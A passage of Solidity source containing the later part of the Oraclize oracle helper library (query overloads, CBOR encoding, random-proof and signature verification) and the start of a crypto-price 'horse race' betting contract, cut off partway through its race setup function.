function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1; //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
// Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
// Buffer too small
throw; // Should be a better way?
}
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
// </ORACLIZE_API>
contract BettingControllerInterface {
function remoteBettingClose() external;
function depositHouseTakeout() external payable;
}
contract Betting is usingOraclize {
using SafeMath for uint256; //using safemath
uint countdown=3; // variable to check if all prices are received
address public owner; //owner address
uint public winnerPoolTotal;
string public constant version = "0.2.2";
BettingControllerInterface internal bettingControllerInstance;
struct chronus_info {
bool betting_open; // boolean: check if betting is open
bool race_start; //boolean: check if race has started
bool race_end; //boolean: check if race has ended
bool voided_bet; //boolean: check if race has been voided
uint32 starting_time; // timestamp of when the race starts
uint32 betting_duration;
uint32 race_duration; // duration of the race
uint32 voided_timestamp;
}
struct horses_info{
int32 BTC_delta; //horses.BTC delta value
int32 ETH_delta; //horses.ETH delta value
int32 LTC_delta; //horses.LTC delta value
bytes32 BTC; //32-bytes equivalent of horses.BTC
bytes32 ETH; //32-bytes equivalent of horses.ETH
bytes32 LTC; //32-bytes equivalent of horses.LTC
uint customGasLimit;
}
struct bet_info{
bytes32 horse; // coin on which amount is bet on
uint amount; // amount bet by Bettor
}
struct coin_info{
uint256 pre; // locking price
uint256 post; // ending price
uint160 total; // total coin pool
uint32 count; // number of bets
bool price_check;
bytes32 preOraclizeId;
bytes32 postOraclizeId;
}
struct voter_info {
uint160 total_bet; //total amount of bet placed
bool rewarded; // boolean: check for double spending
mapping(bytes32=>uint) bets; //array of bets
}
mapping (bytes32 => bytes32) oraclizeIndex; // mapping oraclize IDs with coins
mapping (bytes32 => coin_info) coinIndex; // mapping coins with pool information
mapping (address => voter_info) voterIndex; // mapping voter address with Bettor information
uint public total_reward; // total reward to be awarded
uint32 total_bettors;
mapping (bytes32 => bool) public winner_horse;
// tracking events
event newOraclizeQuery(string description);
event newPriceTicker(uint price);
event Deposit(address _from, uint256 _value, bytes32 _horse, uint256 _date);
event Withdraw(address _to, uint256 _value);
// constructor
function Betting() public payable {
oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS);
owner = msg.sender;
// oraclize_setCustomGasPrice(10000000000 wei);
horses.BTC = bytes32("BTC");
horses.ETH = bytes32("ETH");
horses.LTC = bytes32("LTC");
horses.customGasLimit = 300000;
bettingControllerInstance = BettingControllerInterface(owner);
}
// data access structures
horses_info public horses;
chronus_info public chronus;
// modifiers for restricting access to methods
modifier onlyOwner {
require(owner == msg.sender);
_;
}
modifier duringBetting {
require(chronus.betting_open);
_;
}
modifier beforeBetting {
require(!chronus.betting_open && !chronus.race_start);
_;
}
modifier afterRace {
require(chronus.race_end);
_;
}
//function to change owner
function changeOwnership(address _newOwner) onlyOwner external {
owner = _newOwner;
}
//oraclize callback method
function __callback(bytes32 myid, string result, bytes proof) public {
require (msg.sender == oraclize_cbAddress());
require (!chronus.race_end);
bytes32 coin_pointer; // variable to differentiate different callbacks
chronus.race_start = true;
chronus.betting_open = false;
bettingControllerInstance.remoteBettingClose();
coin_pointer = oraclizeIndex[myid];
if (myid == coinIndex[coin_pointer].preOraclizeId) {
if (coinIndex[coin_pointer].pre > 0) {
} else if (now >= chronus.starting_time+chronus.betting_duration+ 15 minutes) {
forceVoidRace();
} else {
coinIndex[coin_pointer].pre = stringToUintNormalize(result);
emit newPriceTicker(coinIndex[coin_pointer].pre);
}
} else if (myid == coinIndex[coin_pointer].postOraclizeId){
if (coinIndex[coin_pointer].pre > 0 ){
if (coinIndex[coin_pointer].post > 0) {
} else if (now >= chronus.starting_time+chronus.race_duration+ 15 minutes) {
forceVoidRace();
} else {
coinIndex[coin_pointer].post = stringToUintNormalize(result);
coinIndex[coin_pointer].price_check = true;
emit newPriceTicker(coinIndex[coin_pointer].post);
if (coinIndex[horses.ETH].price_check && coinIndex[horses.BTC].price_check && coinIndex[horses.LTC].price_check) {
reward();
}
}
} else {
forceVoidRace();
}
}
}
// place a bet on a coin(horse) lockBetting
function placeBet(bytes32 horse) external duringBetting payable {
require(msg.value >= 0.01 ether);
if (voterIndex[msg.sender].total_bet==0) {
total_bettors+=1;
}
uint _newAmount = voterIndex[msg.sender].bets[horse] + msg.value;
voterIndex[msg.sender].bets[horse] = _newAmount;
voterIndex[msg.sender].total_bet += uint160(msg.value);
uint160 _newTotal = coinIndex[horse].total + uint160(msg.value);
uint32 _newCount = coinIndex[horse].count + 1;
coinIndex[horse].total = _newTotal;
coinIndex[horse].count = _newCount;
emit Deposit(msg.sender, msg.value, horse, now);
}
// fallback method for accepting payments
function () private payable {}
// method to place the oraclize queries
function setupRace(uint delay, uint locking_duration) onlyOwner beforeBetting public payable returns(bool) {
// if (oraclize_getPrice("URL") > (this.balance)/6) {
if (oraclize_getPrice("URL")*3 + oraclize_getPrice("URL", horses.customGasLimit)*3 > address(this).balance) {
emit newOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee");
return false;
} else {
